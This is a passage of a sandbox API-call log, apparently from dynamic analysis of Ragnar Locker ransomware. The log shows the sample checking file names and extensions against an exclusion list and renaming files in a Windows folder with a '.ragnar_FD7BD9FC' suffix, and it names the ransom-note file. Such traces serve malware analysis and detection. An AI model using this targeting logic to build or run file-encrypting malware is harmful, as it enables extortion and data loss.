(lpString1=".xml", lpString2=".db") returned 1 [0058.565] lstrcmpiW (lpString1=".xml", lpString2=".sys") returned 1 [0058.565] lstrcmpiW (lpString1=".xml", lpString2=".dll") returned 1 [0058.565] lstrcmpiW (lpString1=".xml", lpString2=".lnk") returned 1 [0058.565] lstrcmpiW (lpString1=".xml", lpString2=".msi") returned 1 [0058.565] lstrcmpiW (lpString1=".xml", lpString2=".drv") returned 1 [0058.565] lstrcmpiW (lpString1=".xml", lpString2=".exe") returned 1 [0058.566] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml")) returned 0x20 [0058.566] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0058.566] CloseHandle (hObject=0xffffffff) returned 0 [0058.566] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml" [0058.566] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml.ragnar_FD7BD9FC" [0058.566] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0058.566] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x710c49a0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x710c49a0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ar-SA", cAlternateFileName="")) returned 1 [0058.566] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x71110c60, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x71110c60, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg-BG", cAlternateFileName="")) returned 1 [0058.566] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90daefa5, ftCreationTime.dwHighDateTime=0x1c9ea0f, ftLastAccessTime.dwLowDateTime=0x90daefa5, ftLastAccessTime.dwHighDateTime=0x1c9ea0f, ftLastWriteTime.dwLowDateTime=0x90daefa5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x69a5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Content.xml", cAlternateFileName="")) returned 1 [0058.566] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0058.566] lstrcpyW (in: lpString1=0x1eb62e, lpString2="Content.xml" | out: lpString1="Content.xml") returned="Content.xml" [0058.566] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned=".xml" [0058.566] lstrcmpiW (lpString1="Content.xml", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0058.566] lstrcmpiW (lpString1="Content.xml", lpString2="autorun.inf") returned 1 [0058.566] lstrcmpiW (lpString1="Content.xml", lpString2="boot.ini") returned 1 [0058.566] lstrcmpiW (lpString1="Content.xml", lpString2="bootfont.bin") returned 1 [0058.566] lstrcmpiW (lpString1="Content.xml", lpString2="bootsect.bak") returned 1 [0058.566] lstrcmpiW (lpString1="Content.xml", lpString2="bootmgr") returned 1 [0058.567] lstrcmpiW (lpString1="Content.xml", lpString2="bootmgr.efi") returned 1 [0058.567] lstrcmpiW (lpString1="Content.xml", lpString2="bootmgfw.efi") returned 1 [0058.567] lstrcmpiW (lpString1="Content.xml", lpString2="desktop.ini") returned -1 [0058.567] lstrcmpiW (lpString1="Content.xml", lpString2="iconcache.db") returned -1 [0058.567] lstrcmpiW (lpString1="Content.xml", lpString2="ntldr") returned -1 [0058.567] lstrcmpiW (lpString1="Content.xml", lpString2="ntuser.dat") returned -1 [0058.567] lstrcmpiW (lpString1="Content.xml", lpString2="ntuser.dat.log") returned -1 [0058.567] lstrcmpiW (lpString1="Content.xml", lpString2="ntuser.ini") returned -1 [0058.567] lstrcmpiW (lpString1="Content.xml", lpString2="thumbs.db") returned -1 [0058.567] lstrcmpiW (lpString1=".xml", lpString2=".db") returned 1 [0058.567] lstrcmpiW (lpString1=".xml", lpString2=".sys") returned 1 [0058.567] lstrcmpiW (lpString1=".xml", lpString2=".dll") returned 1 [0058.567] lstrcmpiW (lpString1=".xml", lpString2=".lnk") returned 1 [0058.567] lstrcmpiW (lpString1=".xml", lpString2=".msi") returned 1 [0058.567] lstrcmpiW (lpString1=".xml", lpString2=".drv") returned 1 [0058.567] lstrcmpiW (lpString1=".xml", lpString2=".exe") returned 1 [0058.567] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml")) returned 0x20 [0058.567] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0058.567] CloseHandle (hObject=0xffffffff) returned 0 [0058.567] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml" [0058.567] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml.ragnar_FD7BD9FC" [0058.567] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0058.568] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c92176b, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x6c92176b, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0xdd6ec0f0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x2f200, dwReserved0=0x0, dwReserved1=0x0, cFileName="ConvertInkStore.exe", cAlternateFileName="")) returned 1 [0058.568] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0058.568] lstrcpyW (in: lpString1=0x1eb62e, lpString2="ConvertInkStore.exe" | out: lpString1="ConvertInkStore.exe") returned="ConvertInkStore.exe" [0058.568] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ConvertInkStore.exe") returned=".exe" [0058.568] lstrcmpiW (lpString1="ConvertInkStore.exe", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0058.568] lstrcmpiW (lpString1="ConvertInkStore.exe", lpString2="autorun.inf") returned 1 [0058.568] lstrcmpiW (lpString1="ConvertInkStore.exe", lpString2="boot.ini") returned 1 [0058.568] lstrcmpiW (lpString1="ConvertInkStore.exe", lpString2="bootfont.bin") returned 1 [0058.568] lstrcmpiW (lpString1="ConvertInkStore.exe", lpString2="bootsect.bak") returned 1 [0058.568] lstrcmpiW (lpString1="ConvertInkStore.exe", lpString2="bootmgr") returned 1 [0058.568] lstrcmpiW (lpString1="ConvertInkStore.exe", lpString2="bootmgr.efi") returned 1 [0058.568] lstrcmpiW (lpString1="ConvertInkStore.exe", lpString2="bootmgfw.efi") returned 1 [0058.568] lstrcmpiW (lpString1="ConvertInkStore.exe", lpString2="desktop.ini") returned -1 [0058.568] lstrcmpiW (lpString1="ConvertInkStore.exe", lpString2="iconcache.db") returned -1 [0058.568] lstrcmpiW (lpString1="ConvertInkStore.exe", lpString2="ntldr") returned -1 [0058.568] lstrcmpiW (lpString1="ConvertInkStore.exe", lpString2="ntuser.dat") returned -1 [0058.568] lstrcmpiW (lpString1="ConvertInkStore.exe", lpString2="ntuser.dat.log") returned -1 [0058.568] lstrcmpiW (lpString1="ConvertInkStore.exe", lpString2="ntuser.ini") returned -1 [0058.568] lstrcmpiW (lpString1="ConvertInkStore.exe", lpString2="thumbs.db") returned -1 [0058.568] lstrcmpiW (lpString1=".exe", lpString2=".db") returned 1 [0058.568] lstrcmpiW (lpString1=".exe", lpString2=".sys") returned -1 [0058.568] lstrcmpiW (lpString1=".exe", lpString2=".dll") returned 1 [0058.568] lstrcmpiW (lpString1=".exe", lpString2=".lnk") returned -1 [0058.568] lstrcmpiW (lpString1=".exe", lpString2=".msi") returned -1 [0058.568] lstrcmpiW (lpString1=".exe", lpString2=".drv") returned 1 [0058.568] lstrcmpiW (lpString1=".exe", lpString2=".exe") returned 0 [0058.568] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x71110c60, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x71110c60, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cs-CZ", cAlternateFileName="")) returned 1 [0058.568] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x71110c60, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x71110c60, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da-DK", cAlternateFileName="")) returned 1 [0058.568] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x71c5f4e0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x71c5f4e0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-DE", cAlternateFileName="")) returned 1 [0058.568] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x71d69e80, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x71d69e80, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="el-GR", cAlternateFileName="")) returned 1 [0058.568] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x71d8ffe0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x71d8ffe0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0058.568] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x72ce2d80, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x72ce2d80, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-ES", cAlternateFileName="")) returned 1 [0058.568] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x72dc75c0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x72dc75c0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="et-EE", cAlternateFileName="")) returned 1 [0058.568] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x72dc75c0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x72dc75c0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi-FI", cAlternateFileName="")) returned 1 [0058.568] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92f4e4a1, ftCreationTime.dwHighDateTime=0x1c9ea0f, ftLastAccessTime.dwLowDateTime=0x92f4e4a1, ftLastAccessTime.dwHighDateTime=0x1c9ea0f, ftLastWriteTime.dwLowDateTime=0x92f9a75d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x186b84, dwReserved0=0x0, dwReserved1=0x0, cFileName="FlickAnimation.avi", cAlternateFileName="")) returned 1 [0058.569] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0058.569] lstrcpyW (in: lpString1=0x1eb62e, lpString2="FlickAnimation.avi" | out: lpString1="FlickAnimation.avi") returned="FlickAnimation.avi" [0058.569] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi") returned=".avi" [0058.569] lstrcmpiW (lpString1="FlickAnimation.avi", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0058.569] lstrcmpiW (lpString1="FlickAnimation.avi", lpString2="autorun.inf") returned 1 [0058.569] lstrcmpiW (lpString1="FlickAnimation.avi", lpString2="boot.ini") returned 1 [0058.569] lstrcmpiW (lpString1="FlickAnimation.avi", lpString2="bootfont.bin") returned 1 [0058.569] lstrcmpiW (lpString1="FlickAnimation.avi", lpString2="bootsect.bak") returned 1 [0058.569] lstrcmpiW (lpString1="FlickAnimation.avi", lpString2="bootmgr") returned 1 [0058.569] lstrcmpiW (lpString1="FlickAnimation.avi", lpString2="bootmgr.efi") returned 1 [0058.569] lstrcmpiW (lpString1="FlickAnimation.avi", lpString2="bootmgfw.efi") returned 1 [0058.569] lstrcmpiW (lpString1="FlickAnimation.avi", lpString2="desktop.ini") returned 1 [0058.569] lstrcmpiW (lpString1="FlickAnimation.avi", lpString2="iconcache.db") returned -1 [0058.569] lstrcmpiW (lpString1="FlickAnimation.avi", lpString2="ntldr") returned -1 [0058.569] lstrcmpiW (lpString1="FlickAnimation.avi", lpString2="ntuser.dat") returned -1 [0058.569] lstrcmpiW (lpString1="FlickAnimation.avi", lpString2="ntuser.dat.log") returned -1 [0058.569] lstrcmpiW (lpString1="FlickAnimation.avi", lpString2="ntuser.ini") returned -1 [0058.569] lstrcmpiW (lpString1="FlickAnimation.avi", lpString2="thumbs.db") returned -1 [0058.569] lstrcmpiW (lpString1=".avi", lpString2=".db") returned -1 [0058.569] lstrcmpiW (lpString1=".avi", lpString2=".sys") returned -1 [0058.569] lstrcmpiW (lpString1=".avi", lpString2=".dll") returned -1 [0058.569] lstrcmpiW (lpString1=".avi", lpString2=".lnk") returned -1 [0058.569] lstrcmpiW (lpString1=".avi", lpString2=".msi") returned -1 [0058.569] lstrcmpiW (lpString1=".avi", lpString2=".drv") returned -1 [0058.569] lstrcmpiW (lpString1=".avi", lpString2=".exe") returned -1 [0058.569] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi")) returned 0x20 [0058.570] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0058.570] CloseHandle (hObject=0xffffffff) returned 0 [0058.570] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi" [0058.570] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi.ragnar_FD7BD9FC" [0058.570] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0058.570] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5c53a9c4, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x5c53a9c4, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0xe29c9700, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0xe2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="FlickLearningWizard.exe", cAlternateFileName="")) returned 1 [0058.570] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0058.570] lstrcpyW (in: lpString1=0x1eb62e, lpString2="FlickLearningWizard.exe" | out: lpString1="FlickLearningWizard.exe") returned="FlickLearningWizard.exe" [0058.570] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickLearningWizard.exe") returned=".exe" [0058.570] lstrcmpiW (lpString1="FlickLearningWizard.exe", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0058.570] lstrcmpiW (lpString1="FlickLearningWizard.exe", lpString2="autorun.inf") returned 1 [0058.570] lstrcmpiW (lpString1="FlickLearningWizard.exe", lpString2="boot.ini") returned 1 [0058.570] lstrcmpiW (lpString1="FlickLearningWizard.exe", lpString2="bootfont.bin") returned 1 [0058.570] lstrcmpiW (lpString1="FlickLearningWizard.exe", lpString2="bootsect.bak") returned 1 [0058.570] lstrcmpiW (lpString1="FlickLearningWizard.exe", lpString2="bootmgr") returned 1 [0058.570] lstrcmpiW (lpString1="FlickLearningWizard.exe", lpString2="bootmgr.efi") returned 1 [0058.570] lstrcmpiW (lpString1="FlickLearningWizard.exe", lpString2="bootmgfw.efi") returned 1 [0058.570] lstrcmpiW (lpString1="FlickLearningWizard.exe", lpString2="desktop.ini") returned 1 [0058.570] lstrcmpiW (lpString1="FlickLearningWizard.exe", lpString2="iconcache.db") returned -1 [0058.570] lstrcmpiW (lpString1="FlickLearningWizard.exe", lpString2="ntldr") returned -1 [0058.570] lstrcmpiW (lpString1="FlickLearningWizard.exe", lpString2="ntuser.dat") returned -1 [0058.571] lstrcmpiW (lpString1="FlickLearningWizard.exe", lpString2="ntuser.dat.log") returned -1 [0058.571] lstrcmpiW (lpString1="FlickLearningWizard.exe", lpString2="ntuser.ini") returned -1 [0058.571] lstrcmpiW (lpString1="FlickLearningWizard.exe", lpString2="thumbs.db") returned -1 [0058.571] lstrcmpiW (lpString1=".exe", lpString2=".db") returned 1 [0058.571] lstrcmpiW (lpString1=".exe", lpString2=".sys") returned -1 [0058.571] lstrcmpiW (lpString1=".exe", lpString2=".dll") returned 1 [0058.571] lstrcmpiW (lpString1=".exe", lpString2=".lnk") returned -1 [0058.571] lstrcmpiW (lpString1=".exe", lpString2=".msi") returned -1 [0058.571] lstrcmpiW (lpString1=".exe", lpString2=".drv") returned 1 [0058.571] lstrcmpiW (lpString1=".exe", lpString2=".exe") returned 0 [0058.571] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x72ded720, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x72ded720, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-FR", cAlternateFileName="")) returned 1 [0058.571] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x72e13880, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x72e13880, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fsdefinitions", cAlternateFileName="FSDEFI~1")) returned 1 [0058.571] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x74229220, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x74229220, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="he-IL", cAlternateFileName="")) returned 1 [0058.571] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x74229220, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x74229220, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hr-HR", cAlternateFileName="")) returned 1 [0058.571] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x742754e0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x742754e0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu-HU", cAlternateFileName="")) returned 1 [0058.571] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2ece8572, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x2ece8572, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x2ea60e45, ftLastWriteTime.dwHighDateTime=0x1ca03fa, nFileSizeHigh=0x0, nFileSizeLow=0xb620, dwReserved0=0x0, dwReserved1=0x0, cFileName="hwrcommonlm.dat", cAlternateFileName="")) returned 1 [0058.571] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\*.*", nBufferLength=0x104, 